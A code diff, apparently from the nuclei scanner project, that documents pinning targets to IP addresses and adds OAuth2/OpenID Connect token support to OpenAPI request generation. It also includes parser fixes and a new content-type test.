| `templates` | template paths, relative to the templates directory |
|
||||
| `tags`, `exclude-tags`, `include-tags`, `author`, `template-id`, `exclude-id`, `severity`, `exclude-severity`, `type`, `exclude-type` | same as the CLI flags |
|
||||
@@ -54,6 +55,23 @@ https://d.example
|
||||
- Unknown keys fail the run rather than widening the scan. Profile keys that configure the whole scan, such as `code` or `var`, are ignored per target.
|
||||
- Not supported with `-automatic-scan`. Global matchers still apply to every target.
|
||||
|
||||
### Pinning a target to an IP
|
||||
|
||||
`ip` sends the target's traffic to one address, like `curl --resolve`: the hostname is still used for the Host header, SNI and template variables such as `{{Hostname}}`, while connections to that hostname go to the ip. This scans a vhost on a given server, or an origin behind a CDN.
|
||||
|
||||
```jsonl
|
||||
{"target": "https://app.example", "ip": "192.0.2.10"}
|
||||
{"target": "https://app.example", "ip": "192.0.2.11", "tags": ["cve"]}
|
||||
```
|
||||
|
||||
- Each `target` and `ip` pair is a separate target: the same host can be listed with several ips, and each pair has its own selection. `{{ip}}` and the `ip` field of results hold the pinned ip.
|
||||
- The target must have a hostname; IP, CIDR and ASN targets cannot be pinned. `-sa` and `-iv` do not apply to a pinned target.
|
||||
- A pinned ip excluded with `-eh`, or a local one with `-lna`, is skipped.
|
||||
- `-mup` counts the urls of each ip apart, so a url listed with several ips is kept on each of them.
|
||||
- HTTP, network, websocket, javascript and ssl templates connect to the ip. Headless templates and `unsafe: true` raw requests do not.
|
||||
- Pinned targets cannot be combined with `-proxy`, `-replay-proxy` or `-automatic-scan`.
|
||||
- `-u` splits its value on commas unless the value is quoted, so pass target lines in a file (`-l`) or on stdin.
|
||||
|
||||
## Formats
|
||||
|
||||
Fuzzing and DAST take the request shape (method, body, params) from the input, not from CLI flags, so a bare URL is always fuzzed as a `GET`. To fuzz anything else, feed a request-shaped input with `-im`:
|
||||
|
||||
@@ -53,7 +53,25 @@ For unsupported media types, no appropriate content type is found for the body.
|
||||
|
||||
This module converts each operation into one or more example HTTP requests. Each request is dumped into a string format, accompanied by its method, URL, headers, and body. These are send as a callback for further processing.
|
||||
|
||||
_Please note: This document does not cover other features of OpenAPI specification like responses, security schemes, links, callbacks, etc. as these are not currently handled by the module._
|
||||
### Security Schemes
|
||||
|
||||
The OpenAPI input supports HTTP basic and bearer authentication, API keys in headers, query parameters or cookies, and OAuth2/OpenID Connect access tokens. Security requirements can be declared globally or per operation.
|
||||
|
||||
For OAuth2 (`type: oauth2`) and OpenID Connect (`type: openIdConnect`), supply an existing access token as the full `Authorization` header value:
|
||||
|
||||
```sh
|
||||
nuclei -l openapi.yaml -im openapi -var 'Authorization=Bearer YOUR_ACCESS_TOKEN'
|
||||
```
|
||||
|
||||
The same variable is used for HTTP bearer authentication. For basic authentication, provide the full `Basic ...` value; for API keys, use the parameter name specified by the security scheme.
|
||||
|
||||
Nuclei does not perform OAuth authorization flows, discover OpenID Connect providers, acquire tokens, or refresh them. Obtain an access token with the scopes required by the API before running the scan. The provided header value is used unchanged.
|
||||
|
||||
Security requirement objects are alternatives. The generator selects the first supported alternative, in document order, for which all required credentials are supplied, and includes every scheme in that object. An empty object (`{}`) permits anonymous access. If no supported alternative has all its credentials, the first supported alternative is used to report missing values; credentials from different alternatives are not combined.
|
||||
|
||||
Operations declaring `security: []` can be generated without the global token. Absent, nil or empty credential values cause affected requests to be skipped. Normal parameter validation reports missing credentials even when another required parameter is also missing. With `-skip-format-validation`, requests with missing credentials are silently skipped and the remaining operations are generated without inventing placeholder credentials.
|
||||
|
||||
_Please note: Other OpenAPI features such as responses, links and callbacks are not currently handled by the module._
|
||||
|
||||
## Postman Collection file
|
||||
|
||||
|
||||
@@ -36,33 +36,7 @@ func GenerateRequestsFromSchema(schema *openapi3.T, opts formats.InputFormatOpti
|
||||
if len(schema.Servers) == 0 {
|
||||
return errors.New("no servers found in openapi schema")
|
||||
}
|
||||
|
||||
// new set of globalParams obtained from security schemes
|
||||
globalParams := openapi3.NewParameters()
|
||||
|
||||
if len(schema.Security) > 0 {
|
||||
params, err := GetGlobalParamsForSecurityRequirement(schema, &schema.Security)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
globalParams = append(globalParams, params...)
|
||||
}
|
||||
|
||||
// validate global param requirements
|
||||
for _, param := range globalParams {
|
||||
if val, ok := opts.Variables[param.Value.Name]; ok {
|
||||
param.Value.Example = val
|
||||
} else {
|
||||
// if missing check for validation
|
||||
if opts.SkipFormatValidation {
|
||||
gologger.Verbose().Msgf("openapi: skipping all requests due to missing global auth parameter: %s\n", param.Value.Name)
|
||||
return nil
|
||||
} else {
|
||||
// fatal error
|
||||
gologger.Fatal().Msgf("openapi: missing global auth parameter: %s\n", param.Value.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
globalParams, globalSecurityErr := selectSecurityParameters(schema, &schema.Security, opts.Variables)
|
||||
|
||||
missingVarMap := make(map[string]struct{})
|
||||
optionalVarMap := make(map[string]struct{})
|
||||
@@ -92,6 +66,10 @@ func GenerateRequestsFromSchema(schema *openapi3.T, opts formats.InputFormatOpti
|
||||
requestPath = serverPath + path
|
||||
}
|
||||
for method, ov := range ops {
|
||||
// An override need not use an unsupported global security scheme.
|
||||
if ov.Security == nil && globalSecurityErr != nil {
|
||||
return globalSecurityErr
|
||||
}
|
||||
if err := generateRequestsFromOp(&generateReqOptions{
|
||||
requiredOnly: opts.RequiredOnly,
|
||||
method: method,
|
||||
@@ -148,7 +126,7 @@ type generateReqOptions struct {
|
||||
// post request generation callback
|
||||
callback formats.ParseReqRespCallback
|
||||
|
||||
// global parameters
|
||||
// Selected global authentication parameters, used only without an override.
|
||||
globalParams openapi3.Parameters
|
||||
// requestparams map
|
||||
reqParams openapi3.Parameters
|
||||
@@ -175,21 +153,42 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
|
||||
}
|
||||
// add existing req params
|
||||
reqParams = append(reqParams, opts.op.Parameters...)
|
||||
// check for endpoint specific auth
|
||||
// Select one complete requirement for this operation before adding its
|
||||
// authentication parameters. Operation security overrides global security.
|
||||
authParams := opts.globalParams
|
||||
if opts.op.Security != nil {
|
||||
params, err := GetGlobalParamsForSecurityRequirement(opts.schema, opts.op.Security)
|
||||
authParams, err = selectSecurityParameters(opts.schema, opts.op.Security, opts.opts.Variables)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reqParams = append(reqParams, params...)
|
||||
} else {
|
||||
reqParams = append(reqParams, opts.globalParams...)
|
||||
}
|
||||
reqParams = append(reqParams, authParams...)
|
||||
authParameters := make(map[*openapi3.Parameter]struct{}, len(authParams))
|
||||
for _, parameter := range authParams {
|
||||
authParameters[parameter.Value] = struct{}{}
|
||||
}
|
||||
|
||||
// Collect missing credentials before ordinary parameter validation can return
|
||||
// early. Still validate ordinary parameters so their diagnostics are retained.
|
||||
missingAuth := false
|
||||
for _, parameter := range authParams {
|
||||
value := parameter.Value
|
||||
if types.ToString(opts.opts.Variables[value.Name]) != "" {
|
||||
continue
|
||||
}
|
||||
missingAuth = true
|
||||
if opts.missingParamValueCallback != nil {
|
||||
opts.missingParamValueCallback(value, opts)
|
||||
}
|
||||
}
|
||||
|
||||
query := url.Values{}
|
||||
for _, parameter := range reqParams {
|
||||
value := parameter.Value
|
||||
|
||||
if _, isAuth := authParameters[value]; missingAuth && isAuth {
|
||||
continue
|
||||
}
|
||||
if value.Schema == nil || value.Schema.Value == nil {
|
||||
continue
|
||||
}
|
||||
@@ -261,6 +260,9 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
|
||||
req.AddCookie(&http.Cookie{Name: value.Name, Value: types.ToString(paramValue)})
|
||||
}
|
||||
}
|
||||
if missingAuth {
|
||||
return nil
|
||||
}
|
||||
req.URL.RawQuery = query.Encode()
|
||||
req.URL.Path = opts.requestPath
|
||||
|
||||
@@ -271,7 +273,7 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
|
||||
var val interface{}
|
||||
|
||||
if value.Schema == nil || value.Schema.Value == nil {
|
||||
val = generateEmptySchemaValue(content)
|
||||
val, _ = generateExampleFromSchema(generateEmptySchemaValue(content))
|
||||
} else {
|
||||
var err error
|
||||
|
||||
@@ -291,15 +293,25 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
|
||||
cloned.Header.Set("Content-Type", "application/json")
|
||||
}
|
||||
case "application/xml":
|
||||
values := mxj.Map(val.(map[string]interface{}))
|
||||
var marshalled []byte
|
||||
var err error
|
||||
switch v := val.(type) {
|
||||
case map[string]interface{}:
|
||||
marshalled, err = mxj.Map(v).Xml()
|
||||
case string:
|
||||
marshalled = []byte(v)
|
||||
default:
|
||||
err = errors.Errorf("unsupported xml example type %T", val)
|
||||
}
|
||||
|
||||
if marshalled, err := values.Xml(); err == nil {
|
||||
if err == nil {
|
||||
// body = string(marshalled)
|
||||
cloned.Body = io.NopCloser(bytes.NewReader(marshalled))
|
||||
cloned.ContentLength = int64(len(marshalled))
|
||||
cloned.Header.Set("Content-Type", "application/xml")
|
||||
} else {
|
||||
gologger.Warning().Msgf("openapi: could not encode xml")
|
||||
continue
|
||||
}
|
||||
case "application/x-www-form-urlencoded":
|
||||
if values, ok := val.(map[string]interface{}); ok {
|
||||
@@ -345,7 +357,7 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
|
||||
// use two strings
|
||||
str = "string1\nstring2"
|
||||
}
|
||||
if value.Schema != nil && generic.EqualsAny(value.Schema.Value.Format, "bindary", "byte") {
|
||||
if value.Schema != nil && generic.EqualsAny(value.Schema.Value.Format, "binary", "byte") {
|
||||
cloned.Body = io.NopCloser(bytes.NewReader([]byte(str)))
|
||||
cloned.ContentLength = int64(len(str))
|
||||
cloned.Header.Set("Content-Type", "application/octet-stream")
|
||||
@@ -391,45 +403,79 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetGlobalParamsForSecurityRequirement returns the global parameters for a security requirement
|
||||
// GetGlobalParamsForSecurityRequirement returns parameters for the first supported
|
||||
// security alternative, or no parameters when anonymous access is permitted.
|
||||
func GetGlobalParamsForSecurityRequirement(schema *openapi3.T, requirement *openapi3.SecurityRequirements) ([]*openapi3.ParameterRef, error) {
|
||||
globalParams := openapi3.NewParameters()
|
||||
if len(schema.Components.SecuritySchemes) == 0 {
|
||||
return nil, errkit.Newf("security requirements (%+v) without any security schemes found in openapi file", schema.Security)
|
||||
return selectSecurityParameters(schema, requirement, nil)
|
||||
}
|
||||
|
||||
// selectSecurityParameters chooses the first fully supplied alternative. If none
|
||||
// is supplied, return the first supported alternative for missing-value reporting.
|
||||
func selectSecurityParameters(schema *openapi3.T, requirement *openapi3.SecurityRequirements, variables map[string]interface{}) ([]*openapi3.ParameterRef, error) {
|
||||
if requirement == nil || len(*requirement) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
found := false
|
||||
// this api is protected for each security scheme pull its corresponding scheme
|
||||
schemaLabel:
|
||||
var fallback []*openapi3.ParameterRef
|
||||
var firstError error
|
||||
for _, security := range *requirement {
|
||||
for name := range security {
|
||||
if scheme, ok := schema.Components.SecuritySchemes[name]; ok {
|
||||
found = true
|
||||
param, err := GenerateParameterFromSecurityScheme(scheme)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
}
|
||||
globalParams = append(globalParams, &openapi3.ParameterRef{Value: param})
|
||||
continue schemaLabel
|
||||
if len(security) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
params := openapi3.NewParameters()
|
||||
complete, supported := true, true
|
||||
// Map order must not change which schemes are emitted or reported missing.
|
||||
for _, name := range mapsutil.GetSortedKeys(security) {
|
||||
var scheme *openapi3.SecuritySchemeRef
|
||||
if schema.Components != nil {
|
||||
scheme = schema.Components.SecuritySchemes[name]
|
||||
}
|
||||
if scheme == nil || scheme.Value == nil {
|
||||
if firstError == nil {
|
||||
firstError = errkit.Newf("security scheme (%s) not found in openapi file", name)
|
||||
}
|
||||
supported = false
|
||||
break
|
||||
}
|
||||
param, err := GenerateParameterFromSecurityScheme(scheme)
|
||||
if err != nil {
|
||||
if firstError == nil {
|
||||
firstError = err
|
||||
}
|
||||
supported = false
|
||||
break
|
||||
}
|
||||
params = append(params, &openapi3.ParameterRef{Value: param})
|
||||
complete = complete && types.ToString(variables[param.Name]) != ""
|
||||
}
|
||||
if !found && len(security) > 1 {
|
||||
// if this is case then both security schemes are required
|
||||
return nil, errkit.Newf("security requirement (%+v) not found in openapi file", security)
|
||||
if !supported {
|
||||
continue
|
||||
}
|
||||
if complete {
|
||||
return params, nil
|
||||
}
|
||||
if fallback == nil {
|
||||
fallback = params
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return nil, errkit.Newf("security requirement (%+v) not found in openapi file", requirement)
|
||||
if fallback != nil {
|
||||
return fallback, nil
|
||||
}
|
||||
|
||||
return globalParams, nil
|
||||
return nil, firstError
|
||||
}
|
||||
|
||||
// GenerateParameterFromSecurityScheme generates an example from a schema object
|
||||
func GenerateParameterFromSecurityScheme(scheme *openapi3.SecuritySchemeRef) (*openapi3.Parameter, error) {
|
||||
if !generic.EqualsAny(scheme.Value.Type, "http", "apiKey") {
|
||||
if !generic.EqualsAny(scheme.Value.Type, "http", "apiKey", "oauth2", "openIdConnect") {
|
||||
return nil, errkit.Newf("unsupported security scheme type (%s) found in openapi file", scheme.Value.Type)
|
||||
}
|
||||
if generic.EqualsAny(scheme.Value.Type, "oauth2", "openIdConnect") {
|
||||
// Access tokens are supplied by the caller through the Authorization variable.
|
||||
// Request generation does not acquire or refresh tokens from the provider.
|
||||
h := openapi3.NewHeaderParameter(DEFAULT_HTTP_SCHEME_HEADER).WithSchema(openapi3.NewStringSchema())
|
||||
h.Required = true
|
||||
h.Description = globalAuth
|
||||
return h, nil
|
||||
}
|
||||
if scheme.Value.Type == "http" {
|
||||
// check scheme
|
||||
if !generic.EqualsAny(scheme.Value.Scheme, "basic", "bearer") {
|
||||
@@ -443,12 +489,12 @@ func GenerateParameterFromSecurityScheme(scheme *openapi3.SecuritySchemeRef) (*o
|
||||
// create parameters using the scheme
|
||||
switch scheme.Value.Scheme {
|
||||
case "basic":
|
||||
h := openapi3.NewHeaderParameter(headerName)
|
||||
h := openapi3.NewHeaderParameter(headerName).WithSchema(openapi3.NewStringSchema())
|
||||
h.Required = true
|
||||
h.Description = globalAuth // differentiator for normal variables and global auth
|
||||
return h, nil
|
||||
case "bearer":
|
||||
h := openapi3.NewHeaderParameter(headerName)
|
||||
h := openapi3.NewHeaderParameter(headerName).WithSchema(openapi3.NewStringSchema())
|
||||
h.Required = true
|
||||
h.Description = globalAuth // differentiator for normal variables and global auth
|
||||
return h, nil
|
||||
@@ -466,17 +512,17 @@ func GenerateParameterFromSecurityScheme(scheme *openapi3.SecuritySchemeRef) (*o
|
||||
// create parameters using the scheme
|
||||
switch scheme.Value.In {
|
||||
case "query":
|
||||
q := openapi3.NewQueryParameter(scheme.Value.Name)
|
||||
q := openapi3.NewQueryParameter(scheme.Value.Name).WithSchema(openapi3.NewStringSchema())
|
||||
q.Required = true
|
||||
q.Description = globalAuth // differentiator for normal variables and global auth
|
||||
return q, nil
|
||||
case "header":
|
||||
h := openapi3.NewHeaderParameter(scheme.Value.Name)
|
||||
h := openapi3.NewHeaderParameter(scheme.Value.Name).WithSchema(openapi3.NewStringSchema())
|
||||
h.Required = true
|
||||
h.Description = globalAuth // differentiator for normal variables and global auth
|
||||
return h, nil
|
||||
case "cookie":
|
||||
c := openapi3.NewCookieParameter(scheme.Value.Name)
|
||||
c := openapi3.NewCookieParameter(scheme.Value.Name).WithSchema(openapi3.NewStringSchema())
|
||||
c.Required = true
|
||||
c.Description = globalAuth // differentiator for normal variables and global auth
|
||||
return c, nil
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package openapi
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestOpenAPIOctetStreamContentType(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
schema string
|
||||
contentType string
|
||||
}{
|
||||
{name: "binary format", schema: "{type: string, format: binary}", contentType: "application/octet-stream"},
|
||||
{name: "byte format", schema: "{type: string, format: byte}", contentType: "application/octet-stream"},
|
||||
{name: "plain string", schema: "{type: string}", contentType: "text/plain"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
spec := `openapi: 3.0.0
|
||||
info: {title: t, version: "1"}
|
||||
servers: [{url: "http://example.com"}]
|
||||
paths:
|
||||
/upload:
|
||||
post:
|
||||
requestBody:
|
||||
content:
|
||||
application/octet-stream: {schema: ` + tt.schema + `}
|
||||
responses:
|
||||
"200": {description: ok}
|
||||
`
|
||||
var contentTypes []string
|
||||
err := New().Parse(strings.NewReader(spec), func(rr *types.RequestResponse) bool {
|
||||
value, _ := rr.Request.Headers.Get("Content-Type")
|
||||
contentTypes = append(contentTypes, value)
|
||||
return false
|
||||
}, "spec.yaml")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, []string{tt.contentType}, contentTypes)
|
||||
})
|
||||
}
|
||||
}
|
||||
Loaded 100 of 250 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user